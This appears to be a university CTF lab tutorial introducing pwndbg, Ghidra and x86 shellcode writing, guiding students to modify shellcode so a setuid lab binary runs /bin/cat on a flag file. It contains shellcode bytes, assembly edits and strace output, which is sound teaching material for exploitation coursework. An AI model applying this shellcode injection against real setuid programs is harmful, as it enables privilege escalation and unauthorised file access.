Tut02: Pwndbg, Ghidra, Shellcode
In this tutorial, we will learn how to write a shellcode (a payload to get a flag) in assembly. Before we start, let's arm yourself with two new tools, one for better dynamic analysis (pwndbg) and another for better static analysis (Ghidra).
Pwndbg: modernizing gdb for writing exploits
For local installation, please refer https://github.com/pwndbg/pwndbg, but we already prepared pwndbg for you in our CTF server:
# login to the CTF server
# ** check Canvas for login information! **
[host] $ ssh lab02@<ctf-server-address>
# launch pwndbg w/ 'gdb-pwndbg'
[CTF server] $ gdb-pwndbg
[CTF server] pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
[CTF server] pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
[CTF server] pwndbg>
Basic usages
Let's test pwndbg with a tutorial binary, tut02-shellcode/target
.
To learn about new features from pwndbg, please check here.
We will introduce a few more pwndbg's features in later labs, but here is a list of useful commands you can try if you feel adventurous:
Command | Description |
---|---|
aslr | Inspect or modify ASLR status |
checksec | Prints out the binary security settings using checksec . |
elfheader | Prints the section mappings contained in the ELF header. |
hexdump | Hexdumps data at the specified address (or at $sp ). |
main | GDBINIT compatibility alias for main command. |
nearpc | Disassemble near a specified address. |
nextcall | Breaks at the next call instruction. |
nextjmp | Breaks at the next jump instruction. |
nextjump | Breaks at the next jump instruction. |
nextret | Breaks at next return-like instruction. |
nextsc | Breaks at the next syscall not taking branches. |
nextsyscall | Breaks at the next syscall not taking branches. |
pdisass | Compatibility layer for PEDA's pdisass command. |
procinfo | Display information about the running process. |
regs | Print out all registers and enhance the information. |
stack | Print dereferences on stack data. |
search | Search memory for bytes, strings, pointers, and integers. |
telescope | Recursively dereferences pointers. |
vmmap | Print virtual memory map pages. |
Ghidra: static analyzer / decompiler
Ghidra is an interactive disassembler (and decompiler) widely used by reverse engineers for statically analyzing binaries. We will introduce the basics concepts of Ghidra in this tutorial.
Basic usages
Please first install Ghidra in your host following this guideline.
Next, fetch crackme0x00
from the CTF server and analyze it with Ghidra.
# copy crackme0x00 to a local dir
[host] $ scp lab01@<ctf-server-address>:tut01-crackme/crackme0x00 crackme0x00
# make sure you have installed Ghidra from the previous steps!
# (on linux /macOS)
[host] $ ./<ghidra_dir>/ghidraRun
# (on windows)
[host] $ ./<ghidra_dir>/ghidraRun.bat
Now, you should be greeted by the user agreement and project window like below:
Open a new project by choosing "File" -> "New Project".
Select "Non-Shared Project" and specify "Project Name",
and finally drag your local crackme0x00
into the folder just created.
As shown, we named the new project tut01
.
Double click on the binary to start analyzing.
Once the analysis is done, you will be shown with multiple subviews of the
program enabled by Ghidra. Before we jump into the details, we need to briefly understand
what each subview stands for. In particular, Program Tree
and Symbol Tree
provide
the loaded segments and symbols of the analyzed binary. Meanwhile, Listing: crackme0x00
shows the assembly view of the binary. On the right-hand side, we have the decompiled
source code of the main function.
To examine the binary, click on main
under Symbol Tree
.
This will take you toward the assembly view of the text segment based on the symbol.
Meanwhile, you will have a synced view of the decompiled C code of main
by Ghidra, side-by-side.
The decompiled C code is much easier to understand, unlike assembly code.
From the source code, you can find that the binary gets a password from user (line 11-12),
and compares the input with 250381
(line 13).
From now on, feel free to utilize Ghidra in analyzing challenge binaries in the lab. In addition, the binary patching functionality provided by Ghidra might come in handy for tackling this week's bomblabs!
Shellcode
Let's discuss today's main topic, writing shellcode! "Shellcode" often means a generic payload for the exploitation, so its goal is to launch an interactive shell as a result.
Step 0: Reviewing Makefile and shellcode.S
First, you have to copy the tutorial into a writable location
either under /tmp
, perhaps /tmp/[x0x0-your-secret-dir]
to prevent other people to read your files on the server,
or safely to your local machine.
[CTF server] $ cp -rf tut02-shellcode /tmp/[x0x0-your-secret-dir]
[CTF server] $ cd /tmp/[x0x0-your-secret-dir]
[host] $ scp -r lab02@<ctf-server-address>:tut02-shellcode/ .
[host] $ cd tut02-shellcode
Note that, there is a pre-built 'target' binary in the tutorial folder:
$ ls -al tut02-shellcode
total 44
drwxr-x--- 2 nobody lab02 4096 Aug 26 19:48 .
drwxr-x--- 13 nobody lab02 4096 Aug 23 13:32 ..
-rw-r--r-- 1 nobody nogroup 535 Aug 23 13:32 Makefile
-rw-r--r-- 1 nobody nogroup 11155 Aug 26 19:48 README
-rw-r--r-- 1 nobody nogroup 1090 Aug 23 13:32 shellcode.S
-r-sr-x--- 1 tut02-shellcode lab02 9820 Aug 23 13:32 target
-rw-r--r-- 1 nobody nogroup 482 Aug 23 13:32 target.c
Does it look different from other files, in terms of permissions? This
is a special type of files that, when you invoke, you will obtain the
privilege of the owner of the file, in this case, uid == tut02-shellcode
.
Your task is to get the flag from the target binary by modifying the
given shellcode to invoke /bin/cat
. Before going further, please
take a look at these two important files.
$ cat Makefile
$ cat shellcode.S
Step 1: Reading the flag with /bin/cat
We will modify the shellcode to invoke /bin/cat
that reads the flag, as follows:
$ cat /proc/flag
[Task] Please modify below lines in
shellcode.S
#define STRING "/bin/sh"
#define STRLEN 7
Try:
$ make test
bash -c '(cat shellcode.bin; echo; cat) | ./target'
> length: 46
> 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B
> 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD
> 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74
hello
hello
- Type
hello
and do you see echo-edhello
after? - Let's use
strace
to trace system calls.
$ (cat shellcode.bin; echo; cat) | strace ./target
...
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff77b5000
write(1, "> length: 46\n", 13> length: 46
) = 13
write(1, "> 0000: EB 1F 5E 89 76 09 31 C0 "..., 57> 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B
) = 57
write(1, "> 0010: 89 F3 8D 4E 09 8D 56 0D "..., 57> 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD
) = 57
write(1, "> 0020: 80 E8 DC FF FF FF 2F 62 "..., 51> 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74
) = 51
execve("/bin/cat", ["/bin/cat"], [/* 0 vars */]) = 0
[ Process PID=4565 runs in 64 bit mode. ]
...
Do you see exeve("/bin/cat"...)? or you can specify "-e" to check systems of
your interests (in this case, execve()):
$ (cat shellcode.bin; echo; cat) | strace -e execve ./target
execve("./target", ["./target"], [/* 20 vars */]) = 0
[ Process PID=4581 runs in 32 bit mode. ]
> length: 46
> 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B
> 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD
> 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74
execve("/bin/cat", ["/bin/cat"], [/* 0 vars */]) = 0
[ Process PID=4581 runs in 64 bit mode. ]
If you are not familiar with execve()
,
please read man execve
(and man strace
).
Step 2: Providing /proc/flag
as an argument
[Task] Let's modify the shellcode to accept an argument (i.e.,
/proc/flag
). Your current payload looks like this:
+-------------+
v |
[/bin/cat][0][ptr ][NULL]
^ ^
| +-- envp
+-- argv
NOTE. [0]
is overwritten by:
mov [STRLEN + esi],al /* null-terminate our string */
Our plan is to make the payload as follows:
+----------------------------+
| +--------------=-----+
v v | |
[/bin/cat][0][/proc/flag][0][ptr1][ptr2][NULL]
^ ^
| +-- envp
+-- argv
-
Modify
/bin/cat
to/bin/catN/proc/flag
#define STRING "/bin/catN/proc/flag" #define STRLEN1 8 #define STRLEN2 19
How could you change
STRLEN
? Fix compilation errors! (N is a placeholder for anNULL
byte that we will overwrite) -
Place a
NULL
after/bin/cat
and/proc/flag
Modify this assembly code:
mov [STRLEN + esi],al /* null-terminate our string */
Then try?
$ make test ... execve("/bin/cat", ["/bin/cat"], [/* 0 vars */])
Does it execute
/bin/cat
? -
Let's modify
argv[1]
to point to/proc/flag
!Referring to this assembly code, how to place the address of "/proc/flag" to ARGV+4.
mov [ARGV+esi],esi /* set up argv[0] pointer to pathname */
Then try?
$ make test ... execve("/bin/cat", ["/bin/cat", "/proc/flag"], [/* 0 vars */]) = 0
Does it execute
/bin/cat
with/proc/flag
?
Tips. Using gdb-pwndbg
to debug shellcode
$ gdb-pwndbg ./target
You can break right before executing your shellcode
pwndbg> br target.c:24
You can run and inject shellcode.bin
to its stdin
pwndbg> run < shellcode.bin
...
You can also check if your shellcode is placed correctly
pwndbg> pdisas buf
...
[Task] Once you are done, run the below command and get the true flag for submission!
$ cat shellcode.bin | /home/lec02/tut02-shellcode/target
Great, now you are ready to write x86 shellcodes! In this week, we will be writing various kinds of shellcode (e.g., targeting x86, x86-64, or both!) and also various properties (e.g., ascii-only or size constraint!). Have great fun this week!